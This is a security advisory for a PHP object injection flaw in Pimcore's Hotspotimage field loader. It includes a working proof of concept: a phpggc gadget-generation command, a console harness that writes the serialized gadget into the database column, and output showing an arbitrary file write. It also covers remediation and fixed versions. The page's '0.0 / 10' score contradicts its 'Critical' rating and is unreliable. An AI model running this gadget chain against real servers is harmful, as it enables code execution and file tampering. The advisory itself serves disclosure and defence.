GHSA-w23p-wrp7-ch38 CVE-2026-55220
Pimcore Hotspotimage getDataFromResource() unrestricted Serialize::unserialize over object-store column (PHP Object Injection, CWE-502)
- Severity
- 0.0 / 10
- Critical · CVSS 4.0
- Exploit chance (EPSS)
- 0.68%
- Chance of exploitation in the next 30 days. Higher than 52.41% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-502 Deserialization of Untrusted Data
- Fix
2026.1.6- Upgrade pimcore/pimcore to this version or later
Description
Summary
Pimcore\Model\DataObject\ClassDefinition\Data\Hotspotimage::getDataFromResource() deserializes the *__hotspots object-store column through the Pimcore\Tool\Serialize::unserialize() wrapper without a class allowlist (the wrapper's $allowedClasses parameter defaults to true, i.e. fully unrestricted). Because the persistence layer always stores this column as PHP-serialize()d bytes, every load of a DataObject that has a Hotspotimage (advanced image) field runs an unrestricted unserialize() over the stored column value. An attacker who can write the *__hotspots store column with crafted serialized bytes achieves PHP Object Injection (CWE-502): arbitrary classes are instantiated and their magic methods (__wakeup/__destruct) execute, which is exploitable for remote code execution via gadget chains present in Pimcore's own bundled dependencies (e.g. guzzlehttp/guzzle).
The same field-data family also affects the sibling marshallers ImageGallery, Block, and Video, which use the identical json_decode(...) ?: Serialize::unserialize(...) fallback over their respective store columns. The root cause is shared: Serialize::unserialize() defaults to an unrestricted class list, and these callers pass no second argument.
Severity
High. Successful exploitation yields PHP Object Injection leading to remote code execution (proven below as arbitrary file write using a gadget from Pimcore's bundled guzzlehttp/guzzle 7.11.0). This is the deserialization leg of an attack: it requires the ability to write the *__hotspots object-store column with attacker-chosen serialized bytes. No class-allowlist defense is present, so any such write is directly weaponizable on the next object load. CVSS-wise this is comparable to other deserialization sinks over attacker-influenceable storage in this codebase.
Affected component
- File:
models/DataObject/ClassDefinition/Data/Hotspotimage.php, methodgetDataFromResource(). - Vulnerable lines (v2026.1.4 / v12.3.8):
$metaData = $data[$this->getName() . '__hotspots']; // check if the data is JSON (backward compatibility) $md = json_decode($metaData, true); if (!$md) { $md = Serialize::unserialize($metaData); // unrestricted: allowed_classes defaults to true } elseif (is_array($md)) { $md['hotspots'] = $md; } - Root enabler:
lib/Tool/Serialize.phppublic static function unserialize(?string $data = null, array|bool $allowedClasses = true): mixed { if ($data === null || $data === '') { return $data; } return unserialize($data, ['allowed_classes' => $allowedClasses]); // default true = unrestricted } - Sibling marshallers with the identical fallback shape:
ImageGallery,Block,Video(DataObject\ClassDefinition\Data). - Package:
pimcore/pimcore(Composer). - Affected versions: all currently maintained releases, including the latest
v2026.1.4andv12.3.8(verified against deployedv2026.1.4).
Data flow
- On save,
Hotspotimage::getDataForResource()stores the hotspot/marker/crop metadata asSerialize::serialize($metaData)into the<field>__hotspotsobject-store column — i.e. PHP serialized bytes, not JSON. - On load,
Hotspotimage::getDataFromResource()reads that column, callsjson_decode()(which fails for the serialized format), and therefore falls through toSerialize::unserialize($metaData)with the default unrestricted class list. Serialize::unserialize()invokesunserialize($data, ['allowed_classes' => true]), instantiating any class named in the bytes and triggering its magic methods.- The load path is exercised on essentially every object retrieval (admin grid/detail, frontend rendering, Studio/API reads, inheritance walks) for objects whose class declares a Hotspotimage field, with a non-null
<field>__image.
The attacker primitive is the ability to place crafted serialized bytes into the <field>__hotspots store column (for example through an SQL-write/store-write primitive). The defect is that the deserialization is performed with no class allowlist, so any such write is directly executable.
Proof of Concept
Verified end-to-end against a real, locally deployed Pimcore v2026.1.4 (Composer skeleton + MariaDB + pimcore:install), not a ported stub. The gadget is phpggc Guzzle/FW1 built against Pimcore's own bundled guzzlehttp/guzzle 7.11.0; its GuzzleHttp\Cookie\FileCookieJar::__destruct writes an attacker-controlled file to disk (a file-write primitive; the same surface reaches RCE via other vendored gadget chains).
Gadget generation (476→474 raw bytes, non-JSON so the unserialize fallback is taken):
printf 'PWNED_BY_DESERIALIZATION_%s' "$(date +%s)" > /tmp/ggc_local_src.txt
./phpggc Guzzle/FW1 /tmp/pimcore_pwned_hotspot.txt /tmp/ggc_local_src.txt | tr -d '\n' > /tmp/ggc_guzzle_fw1.ser
# stored bytes begin: O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{...
Reproduction harness (a Symfony console command living in the deployed app; it creates a real DataObject class with a Hotspotimage field, a real image asset, a real saved object, performs the attacker store-write into object_store_<id>.img__hotspots, then reloads the object through the real Pimcore model layer):
<?php
declare(strict_types=1);
namespace App\Command;
use Pimcore\Db;
use Pimcore\Model\Asset;
use Pimcore\Model\DataObject;
use Pimcore\Model\DataObject\ClassDefinition;
use Symfony\Component\Console\Attribute\AsCommand;
use Symfony\Component\Console\Command\Command;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Input\InputOption;
use Symfony\Component\Console\Output\OutputInterface;
#[AsCommand(name: 'e2e:hotspot', description: 'E2E CWE-502 Hotspotimage __hotspots unserialize')]
final class E2eHotspotCommand extends Command
{
protected function configure(): void
{
$this->addOption('benign', null, InputOption::VALUE_NONE, 'negative control: benign JSON');
$this->addOption('restricted', null, InputOption::VALUE_NONE, 'negative control: allowed_classes=false');
}
protected function execute(InputInterface $input, OutputInterface $output): int
{
$o = fn (string $m) => $output->writeln($m);
$gadget = (string) file_get_contents('/tmp/ggc_guzzle_fw1.ser');
$target = '/tmp/pimcore_pwned_hotspot.txt';
@unlink($target);
$o('=== STEP 1: create DataObject class with a Hotspotimage field ===');
$class = ClassDefinition::getByName('E2eHotspot');
if (!$class) {
$class = new ClassDefinition();
$class->setName('E2eHotspot');
$class->setGroup('e2e');
$field = new ClassDefinition\Data\Hotspotimage();
$field->setName('img');
$field->setTitle('img');
$panel = new ClassDefinition\Layout\Panel();
$panel->setName('Layout');
$panel->addChild($field);
$class->setLayoutDefinitions($panel);
$class->save();
}
$o(' class id=' . $class->getId());
$o('=== STEP 2: create image asset (Hotspotimage needs a valid __image id) ===');
$png = base64_decode('iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mNk+M9QDwADhgGAWjR9awAAAABJRU5ErkJggg==');
$asset = Asset::getByPath('/e2e_pixel.png');
if (!$asset) {
$asset = new Asset\Image();
$asset->setFilename('e2e_pixel.png');
$asset->setParent(Asset::getById(1));
$asset->setData($png);
$asset->save();
}
$o(' asset id=' . $asset->getId());
$o('=== STEP 3: create+save object carrying that image ===');
$obj = DataObject::getByPath('/e2e_obj');
if (!$obj) {
$fqcn = '\\Pimcore\\Model\\DataObject\\' . $class->getName();
$obj = new $fqcn();
$obj->setKey('e2e_obj');
$obj->setParent(DataObject::getById(1));
$obj->setPublished(true);
$obj->setValue('img', new DataObject\Data\Hotspotimage($asset));
$obj->save();
}
$objId = $obj->getId();
$store = 'object_store_' . $class->getId();
$o(' object id=' . $objId . ' store=' . $store);
$o('=== STEP 4: ATTACKER STORAGE-WRITE into img__hotspots column ===');
$db = Db::get();
$payload = $input->getOption('benign')
? json_encode(['hotspots' => [], 'marker' => [], 'crop' => []])
: $gadget;
$db->executeStatement('UPDATE `' . $store . '` SET `img__hotspots` = ? WHERE oo_id = ?', [$payload, $objId]);
$stored = (string) $db->fetchOne('SELECT `img__hotspots` FROM `' . $store . '` WHERE oo_id = ?', [$objId]);
$o(' stored prefix: ' . substr($stored, 0, 60));
$o(' json_decode(stored) === null ? ' . var_export(json_decode($stored, true) === null, true) . ' (=> unserialize fallback)');
$o('=== STEP 5: clear cache + reload object => getDataFromResource() ===');
\Pimcore\Cache::clearAll();
\Pimcore\Cache\RuntimeCache::clear();
$o(' target file before load exists? ' . var_export(file_exists($target), true));
if ($input->getOption('restricted')) {
$o(' [negative control] fixed wrapper allowed_classes=false on the same bytes');
$res = @unserialize($stored, ['allowed_classes' => false]);
$o(' returned type=' . gettype($res) . ' class=' . (is_object($res) ? get_class($res) : 'n/a'));
gc_collect_cycles();
} else {
try {
$reloaded = DataObject\Concrete::getById($objId, ['force' => true]);
$reloaded->getImg(); // triggers Hotspotimage::getDataFromResource() lazy load
$o(' reloaded class=' . get_class($reloaded));
unset($reloaded);
} catch (\Throwable $e) {
$o(' (post-unserialize downstream error, gadget already instantiated): ' . $e->getMessage());
}
gc_collect_cycles();
}
$o('=== RESULT ===');
clearstatcache();
if (file_exists($target)) {
$o(' [VULNERABLE] gadget file WRITTEN: ' . $target);
$o(' contents: ' . trim((string) file_get_contents($target)));
} else {
$o(' [NOT TRIGGERED] target file absent');
}
return Command::SUCCESS;
}
}
Captured output — RUN A (positive, gadget):
=== STEP 1: create DataObject class with a Hotspotimage field ===
class id=1
=== STEP 2: create image asset (Hotspotimage needs a valid __image id) ===
asset id=2
=== STEP 3: create+save object carrying that image ===
object id=4 store=object_store_1
=== STEP 4: ATTACKER STORAGE-WRITE into img__hotspots column ===
stored prefix: O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:36:"\GuzzleHttp\
json_decode(stored) === null ? true (=> unserialize fallback)
=== STEP 5: clear cache + reload object => getDataFromResource() ===
target file before load exists? false
(post-unserialize downstream error, gadget already instantiated): Cannot use object of type GuzzleHttp\Cookie\FileCookieJar as array
=== RESULT ===
[VULNERABLE] gadget file WRITTEN: /tmp/pimcore_pwned_hotspot.txt
contents: [{"Expires":1,"Discard":false,"Value":"PWNED_BY_DESERIALIZATION_1780420803"}]
Captured output — RUN B (negative control, benign JSON in the column):
=== STEP 4: ATTACKER STORAGE-WRITE into img__hotspots column ===
[negative control] storing benign JSON
stored prefix: {"hotspots":[],"marker":[],"crop":[]}
json_decode(stored) === null ? false (=> unserialize fallback)
=== STEP 5: clear cache + reload object => getDataFromResource() ===
target file before load exists? false
reloaded class=Pimcore\Model\DataObject\E2eHotspot
=== RESULT ===
[NOT TRIGGERED] target file absent
Captured output — RUN C (negative control, the fix: allowed_classes=false over the same gadget bytes):
=== STEP 4: ATTACKER STORAGE-WRITE into img__hotspots column ===
stored prefix: O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:36:"\GuzzleHttp\
json_decode(stored) === null ? true (=> unserialize fallback)
=== STEP 5: clear cache + reload object => getDataFromResource() ===
target file before load exists? false
[negative control] fixed wrapper allowed_classes=false on the same bytes
returned type=object class=__PHP_Incomplete_Class
=== RESULT ===
[NOT TRIGGERED] target file absent
RUN A shows the attacker bytes drive unserialize() to instantiate the GuzzleHttp\Cookie\FileCookieJar gadget, whose destructor writes an attacker-controlled file. RUN B shows benign JSON takes the safe json_decode branch (no deserialization, no file). RUN C shows that performing the same deserialization with an allowed_classes allowlist returns an inert __PHP_Incomplete_Class and the gadget never runs — i.e. the proposed fix neutralizes the attack.
Impact
PHP Object Injection (CWE-502) on object load. With gadget chains available in Pimcore's bundled dependencies this is exploitable for remote code execution; the PoC demonstrates an attacker-controlled arbitrary file write via the bundled guzzlehttp/guzzle 7.11.0 FileCookieJar chain. Because the *__hotspots column is read on virtually every load of an affected object (admin UI, frontend output, API, inheritance resolution), any write of crafted bytes into that column is reliably executed.
Remediation
Make Serialize::unserialize() safe by default and/or pass an explicit class allowlist at the Hotspotimage/ImageGallery/Block/Video callers.
Preferred minimal fix at the wrapper (closes the whole Serialize::unserialize()-without-allowlist family in one place):
public static function unserialize(?string $data = null, array|bool $allowedClasses = false): mixed
(i.e. flip the default to false, requiring callers that legitimately need to revive objects to opt in with an explicit allowlist). Alternatively, change each affected marshaller to pass ['allowed_classes' => false] (or a tight allowlist such as [MarkerHotspotItem::class]) explicitly. RUN C above confirms allowed_classes deserialization renders the gadget inert. Fix PR (private temporary advisory fork): https://github.com/pimcore/pimcore-ghsa-w23p-wrp7-ch38/pull/1
Affected versions
Packagist
| Package | Vulnerable | Fixed in |
|---|---|---|
| pimcore/pimcore | >= 2026.1.0, < 2026.1.6 |
2026.1.6 |
| pimcore/pimcore | < 12.3.10 |
12.3.10 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
pimcore/pimcore Packagist → 2026.1.6
- composer
composer require pimcore/pimcore:^2026.1.6
Severity breakdown
CVSS 4.0 0.0
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
- Attack vector
- Network
- Attack complexity
- Low
- Attack requirements
- None
- Privileges required
- None
- User interaction
- None
- Confidentiality (vulnerable system)
- High
- Integrity (vulnerable system)
- High
- Availability (vulnerable system)
- High
- Confidentiality (subsequent systems)
- None
- Integrity (subsequent systems)
- None
- Availability (subsequent systems)
- None
Weakness
CWE-502: Deserialization of Untrusted Data
The product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid.
How to prevent it
- Architecture and Design, Implementation: If available, use the signing/sealing features of the programming language to assure that deserialized data has not been tainted. For example, a hash-based message authentication code (HMAC) could be used to ensure that data has not been modified.
- Implementation: When deserializing data, populate a new object rather than just deserializing. The result is that the data flows through safe input validation and that the functions are safe.
- Implementation: Explicitly define a final object() to prevent deserialization.
- Architecture and Design, Implementation: Make fields transient to protect them from deserialization. An attempt to serialize and then deserialize a class containing transient fields will result in NULLs where the transient data should be. This is an excellent way to prevent time, environment-based, or sensitive variables from being carried over and used improperly.
- Implementation: Avoid having unnecessary types or gadgets (a sequence of instances and method invocations that can self-execute during the deserialization process, often found in libraries) available that can be leveraged for malicious ends. This limits the potential for unintended or unauthorized types and gadgets to be leveraged by the attacker. Add only acceptable classes to an allowlist. Note: new gadgets are constantly being discovered, so this alone is not a sufficient mitigation.
- Architecture and Design, Implementation: Employ cryptography of the data or code for protection. However, it's important to note that it would still be client-side security. This is risky because if the client is compromised then the security implemented on the client (the cryptography) can be bypassed.
- Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
References
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-23rh-xw42-fq82 Pimcore: SQL Injection in Custom Reports via Malicious Report Configuration | High | Also affects pimcore/pimcore |
| GHSA-9x44-4gxf-8c25 Pimcore Vulnerable to Remote Code Execution via DataObject Class-Definition Field Name | Critical | Also affects pimcore/pimcore |
| GHSA-2mhj-fhvg-v428 Pimcore: ClassDefinition UID regex missing end anchor allows SQL injection via Block.php unquoted table name | High | Also affects pimcore/pimcore |
| GHSA-7p36-fq2r-4h7r Pimcore CMS Twig Sandbox Bypass via SecurityPolicy checkMethodAllowed | High | Also affects pimcore/pimcore |
| GHSA-jwcc-gv4m-93x6 Pimcore has a CustomReports Share Bypass | High | Also affects pimcore/pimcore |
| GHSA-332x-r494-54fq Pimcore has a WordExport Authorization Bypass for Unauthorized Document Export | Medium | Also affects pimcore/pimcore |
| GHSA-wc7j-g8wx-m2qx Pimcore: Missing Authorization in WebDAV MOVE via unchecked asset move handling | High | Also affects pimcore/pimcore |
| GHSA-36fc-7wjg-mfvj Pimcore has Unsafe PHP Deserialization in Multiple Locations Without allowed_classes Restriction | High | Also affects pimcore/pimcore |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor